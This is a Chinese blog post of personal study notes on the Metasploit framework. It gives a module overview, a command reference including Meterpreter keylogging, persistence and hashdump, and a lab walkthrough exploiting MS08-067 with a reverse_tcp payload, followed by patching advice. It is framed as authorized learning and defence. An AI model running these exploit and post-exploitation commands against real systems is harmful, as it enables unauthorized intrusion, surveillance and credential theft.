Metasploit框架使用
本文为本人测试学习记录笔记,进行测试学习使用
Metasploit(简称 MSF)是一款开源的渗透测试与漏洞利用框架,由 HD Moore 于 2003 年开发,后被 Rapid7 收购并持续维护,是网络安全领域最核心、最常用的渗透测试工具之一,广泛应用于漏洞验证、渗透测试、红队演练等场景。
一、核心定位与价值
Metasploit 的核心目标是降低渗透测试的技术门槛,将漏洞利用、Payload 生成、目标探测、权限提升等渗透测试全流程的功能模块化,安全人员无需从零编写漏洞利用代码,只需通过简单的命令调用现成模块,即可完成对目标系统的漏洞验证与攻击模拟,同时也可用于企业内部的安全加固、漏洞修复验证。
注意:Metasploit 仅可用于授权的渗透测试,未经授权使用属于违法犯罪行为。
二、核心组成模块
Metasploit 的功能通过模块化设计实现,核心模块包括:
Exploits(漏洞利用模块)
针对各类系统 / 应用漏洞(如 MS17-010 永恒之蓝、Log4j2 远程代码执行等)编写的攻击代码,用于触发漏洞并获取目标系统的初始访问权限,是 Metasploit 的核心模块。
Payloads(攻击载荷)
漏洞利用成功后在目标系统上执行的代码,分为正向 / 反向 Shell、提权脚本、文件下载 / 执行等类型,例如windows/meterpreter/reverse_tcp(Windows 反向 Meterpreter Shell)是最常用的 Payload。
Auxiliary(辅助模块)
非破坏性工具,用于信息收集(端口扫描、服务探测)、漏洞扫描、密码破解、网络嗅探等,例如scanner/portscan/tcp可实现 TCP 端口扫描。
Post(后渗透模块)
获取目标权限后,用于权限提升、数据提取、持久化控制的模块,例如post/windows/escalate/getsystem可提升至 Windows 系统 SYSTEM 权限。
Encoders(编码模块)
对 Payload 进行加密编码,避免被杀毒软件、防火墙检测拦截,例如x86/shikata_ga_nai是经典的免杀编码模块。
三、运行环境与版本
主要版本:
Metasploit Framework:开源免费版,命令行界面(CLI),支持自定义模块开发;
Metasploit Pro:商业版,提供图形化界面(GUI)、自动化渗透测试、报告生成等高级功能。
运行环境:
原生支持 Linux(Kali Linux 默认预装),也可通过 WSL、虚拟机运行在 Windows/macOS 系统,依赖 Ruby 语言环境。
四、典型使用流程(以漏洞利用为例)
1. 启动Metasploit:msfconsole
2. 搜索目标漏洞模块:search ms17_010
3. 加载漏洞利用模块:use exploit/windows/smb/ms17_010_eternalblue
4. 设置目标IP:set RHOSTS 192.168.1.100
5. 设置Payload:set PAYLOAD windows/x64/meterpreter/reverse_tcp
6. 设置本地监听IP:set LHOST 192.168.1.50
7. 执行漏洞利用:run/exploit
8. 成功后获取Meterpreter Shell,执行后渗透操作(提权、文件读取等)
命令介绍:
1. 基础启动与全局命令
msfconsole # 启动MSF控制台(核心入口)
msfconsole -q # 静默启动MSF,跳过欢迎界面(推荐)
help / ? # 查看命令帮助文档,可跟具体命令(如help use)
exit / quit # 退出MSF控制台
clear # 清屏
version # 查看MSF版本
2. 模块搜索与加载
search 关键词 # 搜索模块(关键词:漏洞编号/名称/系统/应用,如search ms17_010、search log4j2)
search -t exploit 关键词 # 限定模块类型搜索(t:type,可选exploit/payload/auxiliary/post)
use 模块路径 # 加载指定模块(如use exploit/windows/smb/ms17_010_eternalblue)
back # 退出当前加载的模块,返回MSF全局界面
info # 查看当前加载模块的详细信息(漏洞描述、参数、适用目标)
show modules # 查看所有可用模块
show exploits # 查看所有漏洞利用模块
show payloads # 查看当前模块支持的所有Payload
show auxiliary # 查看所有辅助模块
show post # 查看所有后渗透模块
3. 模块参数配置
show options # 查看当前模块的所有可配置参数(必看,识别必填/可选参数)
set 参数名 参数值 # 设置单个参数(如set RHOSTS 192.168.1.100、set LHOST 192.168.1.50)
setg 参数名 参数值 # 设置全局参数(所有模块均可调用,如setg RHOSTS 192.168.1.0/24)
unset 参数名 # 取消已设置的参数
unsetg 参数名 # 取消已设置的全局参数
set PAYLOAD 载荷路径 # 指定当前模块使用的Payload(如set PAYLOAD windows/x64/meterpreter/reverse_tcp)
4. 漏洞利用与执行
run / exploit # 执行当前加载的模块(两者等效,推荐run)
run -j # 后台执行模块,不阻塞控制台
jobs # 查看后台运行的任务
jobs -k 任务ID # 终止指定后台任务
5. Meterpreter Shell 核心命令(获取 Shell 后必用)
Meterpreter 是 MSF 最强大的交互式 Shell,支持多平台、多功能,以下为核心命令:
sysinfo # 查看目标系统信息(系统版本、架构、主机名、用户名)
getuid # 查看当前获取的用户权限
getsystem # 提权至Windows SYSTEM权限(自动尝试多种提权方式)
pwd / getwd # 查看目标当前工作目录
cd 目录路径 # 切换目标目录
ls / dir # 查看目标目录下的文件/文件夹
upload 本地路径 目标路径 # 向目标上传文件(如木马上传、工具上传)
download 目标路径 本地路径 # 从目标下载文件(如密码文件、日志文件)
execute -f 程序名 # 在目标系统执行程序(如execute -f cmd.exe)
screenshot # 截取目标系统屏幕
keylogger_start # 启动键盘记录
keylogger_stop # 停止键盘记录并查看结果
persistence # 在目标系统建立持久化控制(开机自启、反向连接)
netstat -an # 查看目标网络连接状态
arp # 查看目标ARP缓存(内网主机探测)
background # 将Meterpreter Shell后台挂起,返回MSF控制台(继续操作其他模块)
sessions # 查看所有已建立的会话(Shell)
sessions -i 会话ID # 进入指定ID的会话(恢复后台Shell)
sessions -k 会话ID # 关闭指定会话
exit # 关闭当前Meterpreter Shell
6. 后渗透模块调用
use post/系统类型/模块路径 # 加载后渗透模块(如use post/windows/escalate/getsystem、use post/linux/gather/hashdump)
set SESSION 会话ID # 指定后渗透模块作用的会话(必配参数)
run # 执行后渗透模块
案例一:MS08-067漏洞测试
一、MS08-067 漏洞核心背景
1. 漏洞本质
MS08-067(CVE-2008-4250)是 Windows Server 服务中存在的缓冲区溢出漏洞,影响 SMB 协议(端口 445)的处理逻辑:当攻击者向目标主机发送精心构造的 SMB 请求包时,可触发缓冲区溢出,直接执行任意代码,且无需认证、远程触发,危害等级为 “严重”。
2. 影响范围
覆盖 Windows 2000/XP/2003 全版本(Vista/7/2008 受影响但利用难度极高),由于当年多数企业未及时打补丁,该漏洞成为黑客攻击的 “万能钥匙”,甚至是后来 “永恒之蓝”(MS17-010)的 “前辈”。
二、实战环境搭建
1. 环境准备(新手友好版)
| 角色 | 系统版本 | IP 地址 | 核心工具 |
|---|---|---|---|
| 攻击机 | Kali Linux(任意版本) | 10.0.0.4 | Metasploit Framework |
| 目标机 | Windows XP SP3(中文版) | 10.0.0.2 | 关闭防火墙 / 未打 MS08-067 补丁 |
注意:
目标机需确保 445 端口开放(可通过netstat -an | findstr 445验证);
禁止将测试环境接入公网,仅用于学习研究
2. 漏洞验证(前置步骤)
先确认目标机存在 MS08-067 漏洞,攻击机执行:
# 使用nmap扫描漏洞
nmap --script=smb-vuln-ms08-067.nse -p445 10.0.0.2

三、Metasploit 实战利用步骤
1. 启动 Metasploit 并加载模块
# 启动msfconsole
msfconsole
# 搜索并加载MS08-067模块
search ms08_067
use exploit/windows/smb/ms08_067_netapi
# 查看模块配置项
show options

截图中可以看到LHOST地址为127.0.0.1,RHOSTS为空,需要进行设置响应的地址
LHOST地址为攻击机即本机地址
setg LHOST 10.0.0.4 # setg 设置全局参数(所有模块均可调用)
设置RHOSTS地址
set RHOSTS10.0.0.4 # set 设置单个参数
再次检测设置是否正确 所有yes项均需要有参数

3. 执行攻击并获取 Meterpreter 会话

使用show targets命令查看版本对应的攻击参数

攻击成功


4. 常见问题排查
攻击失败但目标机存在漏洞:大概率是 TARGET 编号选错(不同语言 / SP 版本对应不同编号),需重新执行show targets核对;
连接超时:检查目标机防火墙是否关闭、445 端口是否开放;
payload 执行失败:换用windows/shell/reverse_tcp基础 payload 重试。
四、漏洞防御与加固建议
MS08-067 的利用核心是 “未打补丁 + 445 端口暴露”,防御需从源头入手:
1. 紧急修复
安装微软官方补丁(KB958644),Windows XP/2003 可通过微软官网下载离线补丁包;
若无法打补丁,临时禁用 Server 服务(仅应急,会影响文件共享)。
2. 端口管控
内网环境限制 445/135/139 端口的访问,仅允许授权主机通信;
公网服务器直接关闭 445 端口(通过防火墙 / 安全组)。
3. 常态化防护
开启 Windows 自动更新,及时修复高危漏洞;
部署入侵检测系统(IDS/IPS),拦截 SMB 协议的异常数据包;
最小权限原则:普通用户禁用管理员权限,降低漏洞利用后的危害
posted on 2026-02-28 17:04 hell0_w0rd 阅读(1) 评论(0) 收藏 举报
浙公网安备 33010602011771号